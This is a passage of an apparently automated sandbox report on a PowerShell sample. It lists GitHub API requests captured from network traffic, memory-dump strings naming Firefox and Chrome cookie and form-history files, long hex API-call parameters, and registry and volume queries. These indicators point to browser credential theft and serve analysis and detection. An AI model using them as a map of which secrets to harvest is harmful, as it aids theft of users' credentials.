HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/Azure/azure-sdk-for-python/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/helm/helm/releases HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /users/wesbos/repos HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /licenses/mit HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/moby/moby/releases HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/google/material-design-icons/tags HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/facebook/prophet/releases HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/pytorch/pytorch/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP")30:T749,Found string "??\C:\Users\HAPUBWS\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\formhistory.sqlite" (Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found string "b/g1/0/formhistory.sqliteount" (Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp") Found string "b/g1/0/formhistory.sqlite" (Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000001.147976.08D5A000.00000004.mdmp, 00000000-00002344.00000001.147976.08D7D000.00000004.mdmp, 00000000-00002344.00000001.147976.09E10000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.08D5A000.00000004.mdmp") Found string "places.sqlite" (Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found string "\??\C:\Users\HAPUBWS\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\formhistory.sqlite" (Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found string "\formhistory.sqlite" (Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "\mozilla\firefox\profiles\ywzu7870.default\formhistory.sqlite" (Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found string "b/g1/0/formhistory.sqlitePK" (Source: "00000000-00002344.00000001.147976.08D7D000.00000004.mdmp, 00000000-00002344.00000001.147976.09E10000.00000004.mdmp")31:Tb64,Found string "b/c9/0/Cookies" (Indicator: "/cookies"; Source: "00000000-00002344.00000001.147976.00640000.00000004.mdmp, 00000000-00002344.00000001.147976.09DE0000.00000004.mdmp, 00000000-00002344.00000002.149897.00640000.00000004.mdmp") Found string "b/c9/0/CookiesPK" (Indicator: "/cookies"; Source: "00000000-00002344.00000001.147976.00640000.00000004.mdmp, 00000000-00002344.00000001.147976.09DE0000.00000004.mdmp, 00000000-00002344.00000002.149897.00640000.00000004.mdmp") Found string "b/g1/0/cookies.sqlite" (Indicator: "/cookies"; Source: "00000000-00002344.00000001.147976.00640000.00000004.mdmp, 00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.00640000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.09E00000.00000004.mdmp") Found string "b/c9/0/Cookiesa>" (Indicator: "/cookies"; Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found string "b/c8/0/Cookies" (Indicator: "/cookies"; Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000001.147976.08D5A000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.08D5A000.00000004.mdmp, 00000000-00002344.00000003.153126.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "??\C:\Users\HAPUBWS\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite" (Indicator: "cookies.sqlite"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "\??\C:\Users\HAPUBWS\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite" (Indicator: "cookies.sqlite"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found string "\cookies.sqlite" (Indicator: "cookies.sqlite"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "\mozilla\firefox\profiles\ywzu7870.default\cookies.sqlite" (Indicator: "cookies.sqlite"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp") Found string "b/c8/0/CookiesPK" (Indicator: "/cookies"; Source: "00000000-00002344.00000001.147976.08D5A000.00000004.mdmp, 00000000-00002344.00000002.149897.08D5A000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp")32:T38f4,"powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac1e91fe7f0000000000000000000051ed0b92fe7f000000000000d101000000000000000000001b39e0215cb500002a00000000000000f0c384f1d10100008fec0b92fe7f0000e0ac1e91fe7f0000e0ac1e91fe7f0000000000000000000000000000fe7f0000ffffff7f0dc2000000000000000000000000000000000000d8ce1291fe7f00002a0000000000000069c3cb90fe7f000031000000000000005c020000000000006002000000000000110001100000000000decb9f0300000003a3b590fe7f000000decb9f0300000000000000000000002b00000000000000000000000000000020b0d190fe7f0000b43fd090fe7f0000e0ce1291 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000001000000000000000b000000000000000b0000000000000058000000000000000000000000000000000000000000000000000e00000000000e00000001000000000000000000000000000000000000000b0000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000360d000000000000e0d5cb9f030000000400000000000000802cbb51ce01000006000000000000000300000000000000a7400c8ffe7f00000000000000000000000000000000000000000000000000000101000000000000000087f1d10100000a000000000000000000000000000000000000000000000043003a005c00550073006500720073000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004980992fe7f00000000000000000000000000000000000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000a01170f1d10100000000000000000000000070f1d10100000000f69f03000000000000000000000000000000000000000000000000000000000000000000000028002a0000000000c00c70f1d10100003a00000000000000400000000000000080cecb9f0300000000000000000000000000000000000000000000000000000000000000000000000400000000000000200d70f1d10100000000000000000000000070f1d10100000000f69f0300000040000000000000000000000000000000320000000000000000000000000000000000000000000000ffffffffd101000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000f69f0300000040000000000000000000000000000000320000000000000000000000000000000000000000000000ffffffffd101000000000000000000000000000000000000500486f1d1010000c0e1cb9f03000000c49085f1d101000080c087f1d101000000000000000000000000000000000000000000000000000000000000000000000000000000000000f08985f1d1010000048a85f1d1010000f08985f1d1010000feffffffffffffff0000000000000000420485f1d101000000000000000000000000000000000000000000000000000050cfcb9f03000000320000000000000080cecb9f03000000a0cecb9f030000000000004b (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000fa0c00000000000020b9cb9f03000000082554effa7f00007041ba51ce0100001affff7f000000002000000000000000a7400c8ffe7f000060c6cb9f03000000000000000000000048c0cb9f03000000e300000000000000b0fb85f1d10100002b00000000000000d0bfcb9f987880574f8c6244bb63710443003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f006600740000000000cd0b000048c0cb9f030000000000000004980992fe7f00000000000000000000000000000000000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000201970f1d10100000000000000000000000070f1d10100000000f69f0300000000000000000000000000000000000000000000000000000000000000000000006c006e0000000000c00c70f1d101000018000000000000008000000000000000c0b1cb9f0300000000000000000000000000000000000000000000000000000000000000000000000800000000000000601570f1d10100000000000000000000000070f1d10100000000f69f0300000040000000d10100000000000000000000760000000000000000000000000000000000000000000000ffffffffd101000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000f69f0300000040000000d10100000000000000000000760000000000000000000000000000000000000000000000ffffffffd101000000000000000000000000000000000000500486f1d101000000c5cb9f03000000e88b87f1d1010000402c88f1d101000000000000000000000000000000000000000000000000000000000000000000000000000000000000c08f87f1d1010000d88f87f1d1010000c08f87f1d1010000feffffffffffffff0000000000000000860485f1d101000000000000000000000000000000000000000000000000000090b2cb9f030000007600000000000000c0b1cb9f03000000e0b1cb9f03000000002c88f1 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000d60c000000000000c0aacb9f03000000443354effa7f0000d003bc51ce0100002cffff7f000000003200000000000000a7400c8ffe7f0000000000000000000000000000000000000000000000000000d100000000000000409185f1d10100003e000000000000000000000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e00750000000000000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000a01770f1d10100000000000000000000000070f1d10100000000f69f0300000000000000000000000000000000000000000000000000000000000000000000009200940000000000c00c70f1d10100001100000000000000b00000000000000060a3cb9f0300000000000000000000000000000000000000000000000000000000000000000000000b00000000000000a01770f1d10100000000000000000000000070f1d10100000000f69f03000000400000000000000000000000000000009c0000000000000000000000000000000000000000000000ffffffffd101000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000c00c00000000000090a3cb9f030000005e3a54effa7f0000b0edb951ce01000037ffff7f000000003d00000000000000a7400c8ffe7f000060a3cb9f0300000080a3cb9f030000000000002c02000000c600000000000000709c86f1d101000047000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000201670f1d10100000000000000000000000070f1d10100000000f69f030000000000000000000000000000000000000000000000000000000000000000000000a400a60000000000c00c70f1d10100000e00000000000000c000000000000000309ccb9f0300000000000000000000000000000000000000000000000000000000000000000000000c00000000000000201670f1d10100000000000000000000000070f1d10100000000f69f0300000040000000d10100000000000000000000ae0000000000000000000000000000000000000000000000ffffffffd101000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ae0c000000000000609ccb9f030000007c4154effa7f0000e0babb51ce01000040ffff7f000000004600000000000000a7400c8ffe7f0000309ccb9f03000000509ccb9f03000000004e88f102000000bd00000000000000801286f1d10100005a000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000002020207200000000000f095cb9f03000000ffffffffffffffff01000000000000001c96cb9f03000000000000003307020233072e0000000000f50000000000000000000000000000002e4ada0c881600000500000500000000ca00cc0000000000ffffffff000000000004000000000000983c0892fe7f0000f094cb9f03000000f095cb9f03000000ffffffff000000000000000000000000f094cb9f03000000e6740b8ffe7f00007f000000000000000004000000000000000070f1d10100000000f69f03000000f095cb9f03000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffffd101000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000f69f03000000f095cb9f03000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffffd101000000000000000000000000000000000000500486f1d101000040a8cb9f03000000a8af87f1d1010000804e88f1d10100000000000000000000000000000000000000000000000000000000000000000000000000000000000090b687f1d1010000a8b687f1d101000090b687f1d1010000feffffffffffffff0000000000000000e40485f1d10100000000000000000000000000000000000000000000000000000000000000000000d400000000000000570069006e0064006f0077007300200050006f00 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000000000000000000100000000000000307d82f1d10100000000000000000000701c88f1d10100000c1800000000000029b2cb9f03000000000082f1d10100000ffb0992fe7f0000003f88f1d1010000c0bf89f1d1010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003f88f1d1010000903c88f1d101000000000000000000000400010500000000000000000000000000000000000000000000000000000000704e88f1d101000000000000000000000000000000000000fffffffffe7f000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ff2588f1d1010000ff03000000000000ff2588f1d1010000000000000000000000000000000000000200000200000000010000004d006900630072006f0073006f00660074000000e03b88f1d1010000d749888efe7f00000000000000000000a03e88f1d1010000131700040000000060b3cb9f0300000013170004d10100004200000000000000131700000000000062da30a6d62000000000000000000000000000000000000000000000000000000035848efe7f0000804c88f1d1010000d6670992fe7f000076170061d101000062870d8ffe7f00000000000000000000000082f1d10100000000000000000000ffffffffd101000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a0992fe7f0000000082f1d101000000000000000000000000000000000000000082f1d101000082cc30a6d6200000d6670992fe7f0000efbe000000000000689385f1d1010000f08785f1d1010000689385f1d10100000000000000000000682988f1d101000028b2cb9f03000000b49d838efe7f000020f985f1d1010000d6670992fe7f0000ffffffff0000000030dd87f1d10100000000000000000000000000000000000001000000000000000000000000000000302888f1d10100009c96848efe7f0000304987f1d10100000c00000000000000080000000000000031d4c58ffe7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a0992fe7f0000000082f1d101000000000000000000000000000000000000000082f1d101000082cc30a6d6200000d6670992fe7f0000efbe000000000000289185f1d1010000f08785f1d1010000289185f1d10100000000000000000000782b88f1d101000028b2cb9f03000000b49d838efe7f000020f985f1d1010000d6670992fe7f0000ffffffff0000000090d287f1d10100000000000000000000000000000000000001000000000000000000000000000000402a88f1d10100009c96848efe7f0000304987f1d10100000c00000000000000080000000000000031d4c58ffe7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a0992fe7f0000000082f1d101000000000000000000000000000000000000000082f1d101000082cc30a6d6200000d6670992fe7f0000efbe000000000000a89585f1d1010000f08785f1d1010000a89585f1d10100000000000000000000287288f1d101000028b2cb9f03000000b49d838efe7f000020f985f1d1010000d6670992fe7f0000ffffffff0000000050db87f1d10100000000000000000000000000000000000001000000000000000000000000000000f07088f1d10100009c96848efe7f0000304987f1d10100000c00000000000000080000000000000031d4c58ffe7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00000796) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a0992fe7f0000000082f1d101000000000000000000000000000000000000000082f1d101000082cc30a6d6200000d6670992fe7f0000efbe000000000000d88985f1d1010000f08785f1d1010000d88985f1d10100000000000000000000488e88f1d101000028b2cb9f03000000b49d838efe7f0000707284f1d1010000d6670992fe7f0000ffffffff0000000050db87f1d10100000000000000000000000000000000000001000000000000000000000000000000108d88f1d10100009c96848efe7f0000304987f1d10100000c00000000000000080000000000000031d4c58ffe7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00000796)33:T5e6,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c00750063007200740062006100730065005f0063006c00720030003400300030002e0064006c006c0000002e0069006e0069000000 (UID: 00000000-00000796) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00002344) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000098008000000000000000a11400007cc87709ee13bd7780000000ee13bd77000000000000000080000000f0620e6f000000009cc8770950726277000098000000000080000000f0620e6f02000000002f0e6fb8c87709fb620e6f0100000080040f6f885f647700000000668a508ae8c87709b8640e6ff42e0e6f (UID: 00000000-00002344) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004816)34:T513,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp")35:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")36:T12e5,"powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00000796-00000C17-1266188347 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00000796-00000C17-1266207456 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00000796-00000C17-1266212100 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000796-00000C17-1269545045 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000796-00000C17-1270178136 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00000796-00000C17-1270683284 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00000796-00000C17-1271160231 "powershell.exe" queries volume information of "C:\share" at 00000000-00000796-00000C17-1271161905 "powershell.exe" queries volume information of "C:\share" at 00000000-00000796-00000C17-1271244353 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000796-00000C17-1273642712 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000796-00000C17-1273801481 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000796-00000C17-1273851304 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00000796-00000C17-1274536804 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00002344-00000C17-1276708599 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 